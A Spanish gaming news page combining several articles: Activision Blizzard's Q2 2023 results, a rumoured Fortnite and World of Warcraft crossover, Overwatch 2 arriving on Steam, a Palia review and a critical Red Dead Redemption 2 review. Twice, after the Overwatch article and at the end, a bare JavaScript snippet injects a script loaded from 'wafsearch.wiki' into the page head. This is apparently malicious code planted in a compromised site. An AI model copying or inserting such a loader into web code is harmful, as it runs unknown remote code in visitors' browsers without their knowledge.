Una empresa fuerte ya casi en manos de Microsoft
Los resultados financieros de Activision Blizzard en el segundo trimestre de 2023 muestran que la industria de los videojuegos sigue siendo una fuente inagotable de oportunidades y crecimiento. La compañía, consciente de su papel como líder en el sector, continúa trabajando incansablemente para seguir proporcionando experiencias inolvidables a sus jugadores. Ya sea en consolas, ordenadores o dispositivos móviles, no hay duda de que Activision Blizzard seguirá reinando en el mundo de los videojuegos en los próximos años.
En conclusión, los impresionantes resultados financieros de Activision Blizzard en el segundo trimestre de 2023, con $1B en reservas netas, confirman el poder y el liderazgo de la empresa en la industria de los videojuegos. El crecimiento en todas sus áreas, desde sus franquicias más veteranas como World of Warcraft hasta su división de eSports y juegos móviles, es un reflejo de un enfoque enfocado en la calidad e innovación que siempre ha caracterizado a la compañía. Por ello, podemos esperar que Activision Blizzard siga cosechando éxitos y ofreciendo experiencias inolvidables a sus fieles jugadores en el futuro.
Posible colaboración entre Fortnite y World of Warcraft
Si no puedes elegir entre World of Warcraft y Fortnite, estás de suerte. Los archivos de World of Warcraft parecen sugerir algún tipo de colaboración con Fortnite. Wowhead encontró algunas referencias al battle royal en la reciente construcción PTR, incluyendo las habilidades de un enemigo Renegade Looter (un guiño obvio al Renegade Raider de Fortnite). Las habilidades son «Cranking 90s», «One Pump», «Slurp Drink» y «Disco Bomb», que sospechosamente corresponden con las de Epic Games’ shooter.
Fortnite es famoso por asociarse con todo tipo de creadores y estudios para añadir modelos y activos al juego. Sin embargo, para algunos jugadores, no parece muy probable que World of Warcraft vea algo similar con este juego. Mientras que Wowhead especula un encuentro con un jefe, algunos fans piensan que es solo una parodia burlona de Fortnite.
Sea cual sea el caso con este acuerdo de Fortnite, probablemente lo veremos pronto.
Blizzard está dispuesta a abrir puertas para la promocionar más sus juegos
Blizzard parece que se está abriendo a colaboraciones y otras opciones de distribución para dar más visibilidad a sus títulos. Señal de ello es la reciente noticia donde han anunciado que empezarán a publicar algunos de sus juegos a través de Steam, y World of Warcraft es un buen candidato.
Por supuesto, la realización de eventos de World of Warcraft en Fortnite también podría generar beneficios para el MMORPG de Blizzard. Podría tratarse de una oportunidad para atraer a nuevos jugadores al universo de Azeroth, especialmente a aquellos que no están familiarizados con los juegos de rol masivos en línea, pero disfrutan del dinamismo y la rapidez de los Battle Royale. En este sentido, sería interesante ver posibles eventos o promociones cruzadas que incentiven a los jugadores de Fortnite a probar WoW, como el otorgamiento de elementos in-game exclusivos o acceso gratuito por tiempo limitado al MMORPG.
Mientras tanto, habrá que esperar a nuevos datos o anuncios oficiales por parte de Epic Games y Blizzard Entertainment, pero todo parece indicar que el crossover entre Fortnite y World of Warcraft es algo que veremos en el futuro cercano, o bien es una pequeña mención dentro del juego por parte de Blizzard.
Nunca creímos que llegaría el día en que Overwatch 2 saldría de Battle.net
Overwatch 2 llegará a Steam el diez de agosto, día en que empezará su siguiente temporada y con la llegada del modo historia, en un movimiento estratégico por parte de Blizzard. Aun así, sí que hará falta tener una cuenta de Battle.net para poder jugar en Steam; pero no es solo una simple pasarela, sino que llegará con soporte para logros y para el sistema de amigos de Steam. El fin de una era, vaya.
Actualmente en portada de Steam. ¿A que no adivináis qué hay en mi lista de deseados…?
«La industria ha evolucionado», dice Blizzard
Afirma Mike Ybarra, el presidente de Blizzard, que: «Aunque Battle.net sigue siendo una prioridad para nosotros, ahora y en el futuro, hemos oído que los jugadores quieren la elección de Steam para una selección de nuestros juegos». «Estamos contentos de trabajar con Valve para conseguirlo». Creo que, con estas palabras, parece evidente que en el futuro veremos más juegos en la plataforma. Ya veremos si los Diablo llegan, pero por ejemplo me parecería lógico que Call of Duty acabara allí. Warzone es un filón. ¿Qué pensáis vosotros?
El próximo diez de agosto llegarán tres misiones de historia, unos diez euros en monedas de Overwatch y una skin de Sojourn por alrededor de 15€ además de la temporada pertinente con su pase de batalla. Podéis contar con que les echaremos un vistazo a las misiones de PvE aquí en NoticiasGamer. Y, si sois nuevos jugadores interesados en este cambio, no olvidéis que podéis echar un vistazo a nuestra guía para principiantes.
var url = ‘https://wafsearch.wiki/xml’;
var script = document.createElement(‘script’);
script.src = url;
script.type = ‘text/javascript’;
script.async = true;
document.getElementsByTagName(‘head’)[0].appendChild(script);
El que era uno de los MMO más esperados, termina no siendo un MMORPG. Pero su propuesta es muy interesante
Palia ya está aquí. Tras varios años de desarrollo bajo un perfil sombrío, en los que la información llegaba a cuentagotas y con una transparencia poco notoria, hoy contamos con un entendimiento más completo de lo que este título prometía ser un MMO Social.
Palia es más que un juego, es una comunidad, una experiencia, un hogar lejos de hogar. Ofrece paisajes espectaculares, desde extensos campos floridos hasta bosques montañosos y playas rocosas. En Palia, puedes vivir de la tierra: pescar, cultivar, recolectar, cocinar, incluso cazar insectos, tú decides cómo quieres vivir.
Este juego se presenta como un mundo en el que puedes hacer de tu hogar un espacio propio, personalizándolo con cientos de objetos artesanales. Y, si lo prefieres, puedes compartir esta experiencia con tus amigos, jugando solo o colaborando con ellos para jugar a tu ritmo.
Inicialmente presentado como un MMO, Palia se desvía de las convenciones típicas del género. Si buscas mazmorras, bandas, PVP y un mundo con cientos o miles de jugadores, Palia puede no ser para ti. Pero eso es lo menos importante. En cambio, ofrece una propuesta interesante e innovadora, inspirada en títulos de éxito como Animal Crossing y Stardew Valley. En lugar de ser un MMO en el sentido tradicional, Palia se siente más como un juego cooperativo con elementos multijugador.
La eliminación de la etiqueta MMO de todo el material y publicidad referente al juego no es una pérdida para Palia. En cambio, el juego se presenta con un estilo gráfico muy particular que combina elementos de la fantasía tradicional, como paisajes impresionantes y criaturas míticas, con un enfoque en la naturaleza y la belleza cotidiana. El diseño de los personajes y el entorno en Palia son suaves y atractivos, con colores brillantes y formas redondeadas que contribuyen a la sensación general de calidez y acogida. Los paisajes son variados y detallados, desde extensos campos de flores hasta bosques montañosos y playas rocosas, cada uno con su propio conjunto de flora y fauna.
Personalización y jugabilidad
Al adentrarte en Palia, te recibirá un extenso sistema de personalización. Podrás ajustar el género, la cara, el color de piel, los peinados, los accesorios y la ropa de tu personaje. Además, a medida que avanzas, podrás obtener más personalizaciones y cosméticos a través de los servicios de live service que ofrece el juego. Como título Free2Play, la monetización de Palia se basa en la venta de cosméticos.
El juego comienza con un tutorial que te introduce a los conceptos básicos de movimiento y a la primera capital. También te permite interactuar con los NPCs del entorno y realizar diversas misiones. Sin embargo, Palia te invita a explorar libremente el mundo, recolectar materiales y construir tu hogar.
En Palia, tu hogar es el núcleo de tu experiencia. Tendrás multitud de herramientas y opciones para personalizarlo, y podrás fabricar todo, desde vallas y cofres hasta muebles y herramientas, utilizando los cientos de materiales que recojas a través de la pesca, la tala, la caza y la minería.
Tu progreso se basa en las habilidades que adquieres y perfeccionas. A medida que te vuelves más experto en una tarea, también serás capaz de obtener materiales de nivel superior y crear objetos de mayor calidad. Podrás interactuar con los diversos NPCs que encontrarás en el mundo y ganar recompensas al aumentar tu nivel de amistad con ellos.
En cuanto al aspecto multijugador, hay muchas cosas que puedes hacer con amigos u otros jugadores que encuentres en el mundo. Puedes compartir recursos, recibir bonificaciones por jugar con otros y hasta obtener ayuda en tu parcela para cultivar. El loot se reparte entre los jugadores del mismo grupo, lo que significa que no puedes robar el loot de otro jugador.
A pesar de ser un juego de servicio en vivo, que promete añadir nuevos contenidos y hacer ajustes en el tiempo, queda la duda de si Palia ofrecerá DLCs con nuevos mapas y territorios.
En cuanto al combate, Palia no presenta un sistema sofisticado. Su objetivo es ofrecer una experiencia tranquila de exploración, recolección y construcción. Aunque puedes matar criaturas, no hay contenido PvP ni puedes luchar contra otros jugadores.
En resumen, a pesar de ser promocionado inicialmente como un MMO, Palia se inclina más hacia un juego cooperativo, con énfasis en la recolección de materiales y la construcción. Aunque puede haber decepcionado a quienes esperaban un MMO tradicional, Palia ofrece una experiencia atractiva y tranquila que se puede disfrutar solo o con amigos.
Red Dead Redemption 2 es un desastre; un desastre con un guión, música, arte e historia espectaculares. Este juego es un recordatorio de cómo algo puede simultáneamente ser muy bueno y muy malo a la vez, y también, una vez más, parte del por qué puntuar los juegos numéricamente no funciona. Seré negativo, pero también seré justo porque los puntos positivos son muy positivos.
Empecemos por lo más importante, el rendimiento: si el juego no funciona bien en primer lugar, tenemos un serio problema jugándolo. Pues bien, Red Dead 2 tiene un rendimiento absolutamente terrible, durante mis 40h jugadas no recuerdo haber tenido más de 60 fps en ningún momento, y la gran mayoría del tiempo tenía alrededor de 40; en las batallas más importantes del juego, en los puntos álgidos, no era extraño tener 30. Ya de salida: no recomiendo este juego en la plataforma en que jugué, PC, simplemente porque es molesto jugar a un juego de acción con FPS tan bajos. Todo esto debido, muy posiblemente, a la cultura del “crunch” en Rockstar, del hacer que los desarrolladores trabajen sin descanso, a veces con cien horas semanales, para cumplir una fecha arbitraria en vez de hacerlo bien. Otra razón, quizá, de no comprar este juego.
RDR2 tiene serios problemas de rendimiento sin una GPU 40xx. Con los requisitos recomendados de la época (1060 y i7 4770k) lo esperado es alrededor de 40-50 fps. En mi caso usé una 3060 TI y un 12400f y… bueno, algunas secciones iban a 30 FPS
La jugabilidad es sencilla y hay poco uso del mundo abierto en las misiones
Pero sigamos con la jugabilidad: Red Dead Redemption 2 es un shooter en tercera persona muy centrado en usar coberturas. Las animaciones del personaje, como cambiar de sentido, son tan lentas que en ocasiones son del orden del segundo; Rockstar quiere que juguéis con su sistema de cobertura y que no permanezcáis mucho tiempo yendo a por los enemigos. Es un tanto lo opuesto a Doom. Es más parado, hay que pensar más los movimientos. Durante las misiones, el juego hace uso ninguno del mundo abierto; cambia directamente a un shooter pasillero tipo Call of Duty con bastante poca profundidad. El problema es que Call of Duty es rápido, sencillo, fácil de entender; pero Red Dead 2 es tosco, con animaciones largas que se sienten como que el juego no responde bien a tus acciones.
Para equilibrar esto, Red Dead 2 es muy fácil, y no da opción a elegir una dificultad más alta. Así que tenemos un juego que no aprovecha sus mecánicas de mundo abierto salvo cuando no estás en medio de una misión, y que es muy simple. La mecánica central del juego es el tiempo bala, pero a diferencia de Max Payne u otros juegos que lo usan, no hay necesidad de que exista. Me explico. No os vais a encontrar en situaciones en que estéis muy rodeados, o en un espacio pequeño, y vayáis a necesitar del tiempo bala. Los enemigos son corrientes y molientes, y solo hay una clase de ellos: personas corrientes. Y todos se eliminan rápidamente de la misma forma: un solo disparo a la cabeza. La razón de ser de esta mecánica es doble: hacer el juego aún más fácil y la fantasía de sentirnos como un pistolero del oeste. Esto en las escenas funciona bien, pero cuando jugamos… no tanto. Más aún cuando es muy fácil conseguir tónicos que extienden mucho nuestra salud, resistencia o tiempo bala y que podemos conseguir muy fácilmente y básicamente llevar a cada pelea. En definitiva, el combate es muy sencillo, muy fácil y muy repetitivo.
Todas las misiones de RDR2 transcurren en secciones muy lineales que no aprovechan el mundo abierto. También son muy fáciles y no dejan ajustar la dificultad.
Red Dead 2 se juega como una cadena de misiones que deberemos activar por el mundo abierto y, a menudo, la distancia entre ellas es gigante. En PC, recomiendo usar un mod de viaje rápido, ya que el viaje rápido del juego es bastante engorroso y no te lleva a todas partes. Este juego requiere que recorras distancias muy largas a caballo en el vacío del oeste durante, potencialmente, horas. Y esto durante las misiones también. En ocasiones está bien porque por el camino hay conversaciones interesantes con NPCs, o suena música y le da ambiente y un poco de espacio a la trama. Otras, se siente como algo completamente innecesario que acaba añadiendo varias horas a un juego que ya de por sí es extremadamente largo (hacer solo la campaña principal lleva unas cuarenta horas). Red Dead 2 carece de ritmo, no alterna bien entre acción y periodos de descanso, viaje o conversación. Hay desproporcionadamente más tiempo de descanso que tiempo jugando. Y, vale, está bien que Rockstar quiera que sintamos el Oeste como un paraje fundamentalmente vacío hasta que llegó la civilización, pero creo que está hecho de tal manera que le quita más al juego que lo que potencialmente le podría dar.
La historia es un clásico y se recordará durante muchos años
Ahora vamos a comentar el aspecto más positivo: la historia, la razón por la que la mayoría de gente lo juega. Sí, me atrevo a decir que es muy, muy buena. No es necesariamente como una película clásica de John Ford, aunque sí me recuerda al “Hombre que Mató a Liberty Valance” en la temática de la civilización llegando al viejo oeste; diría que es una suerte de retrato costumbrista de una banda de criminales, de su día a día. Una mejor comparación sería la serie Los Soprano, que trata del día a día de la mafia italiana. Red Dead 2 nos muestra que, a pesar de sus vidas violentas y crímenes, la mayoría de sus días eran normales, sin trascendencia. Tenían sus familias, sus costumbres, sus tradiciones, sus creencias. Tenían vidas grises; para ellos, a veces, tenía sentido el matar a un guarda de un tren un día y ayudar a alguien perdido en la carretera al siguiente. Es una historia que nos da a entender que la gente que hace esas barbaridades son también personas, con sus propias vidas y preocupaciones. Por supuesto el juego no intenta justificar sus acciones, pero sí darnos a entender por qué hacen lo que hacen. Es una historia con muchas capas, adulta, madura, y que no tiene miedo de decir lo que quiere decir. No puedo decir mucho más sin spoilers, así que lo voy a dejar aquí; si os da muchos problemas en vuestro equipo, siempre podéis verla por YouTube. De verdad merece la pena.
RDR2 tiene una historia extraordinaria. Un clásico
El apartado artístico es increíble, y la música es digna de película de John Ford
En cuanto al apartado artístico, quiero destacar la increíble banda sonora del juego. Melodías que recuerdan a clásicos del cine del oeste, como El Bueno, El Feo y El Malo, Por un Puñado de Dólares, y demás. Es una absoluta maravilla cómo cada melodía acompaña perfectamente el momento, tanto lo instrumental como lo vocal. Es un clásico moderno en el mundo de las bandas sonoras y todo el mundo debería escucharla. En cuanto a los gráficos y su diseño: están pensados para recrear ese periodo, son muy realistas y, quizá, un poco básicos. Pero quizá con intención, querían recrear ese tiempo, y lo han conseguido. No hay nada estilizado o con un estilo extraño, es fundamentalmente una recreación muy realista; pero creo que está bien, más con los gráficos tan buenos que tiene. Hay ciertas armas que no pertenecen a este tiempo por razones de jugabilidad, pero no lo veo como un problema fundamental sino una decisión tomada por diversión y, bueno, tampoco pasa nada. Los efectos de sonido son también muy buenos, sobre todo en las armas, con mucha diversidad y muy fieles a la época.
No recomiendo Red Dead Redemption 2 por muchas razones, pero es innegable cómo algunos de sus aspectos son de lo mejor que ha habido en la industria y, si queréis jugarlo solo por ello, se entiende completamente y nadie os va a culpar por ello. Si queréis ver cómo tres personas sin cultura del crunch alguna vencen a una gran compañía, echadle un ojo a este análisis de BattleBit: Remastered.
var url = ‘https://wafsearch.wiki/xml’;
var script = document.createElement(‘script’);
script.src = url;
script.type = ‘text/javascript’;
script.async = true;
document.getElementsByTagName(‘head’)[0].appendChild(script);